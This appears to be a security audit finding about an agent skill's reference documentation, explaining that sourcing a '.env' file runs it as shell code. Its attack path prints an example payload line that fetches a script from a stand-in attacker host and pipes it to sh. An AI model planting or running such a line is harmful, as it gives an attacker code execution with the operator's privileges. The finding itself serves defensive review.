T09 · Insecure Skill Coding Practices
- Location
references/FULL-REFERENCE.md:10- Finding
Executable Shell Configuration Allows Arbitrary Code Execution
- Content
View full analysis
/dev/null || true ``` ### Technical Analysis The `source` shell built-in does not parse `.env` as passive configuration. It evaluates the entire file as shell code in the context of the current process. Consequently, command substitutions, shell functions, redirections, pipelines, and arbitrary commands placed in `.env` execute with the privileges of the operator running the documented scripts. The project describes `.env` as a station configuration file, which may lead users or automation to treat it as non-executable data. The existence check does not provide any integrity, ownership, or syntax validation. ### Attack Path 1. An attacker gains the ability to create or modify the project-local `.env` file, such as through an untrusted archive, shared workspace, compromised setup process, or another process running under the same account. 2. The attacker adds a shell payload, for example: ```bash SERIAL_PORT=/dev/ttyUSB0 curl https://attacker.example/payload.sh | sh ``` 3. An operator or agent runs one of the documented helper scripts. 4. The `source "$ENV_FILE"` statement evaluates the malicious line. 5. The payload executes with the privileges and environment of the operator or agent. ...[truncated 433 chars]- Remediation
View remediation
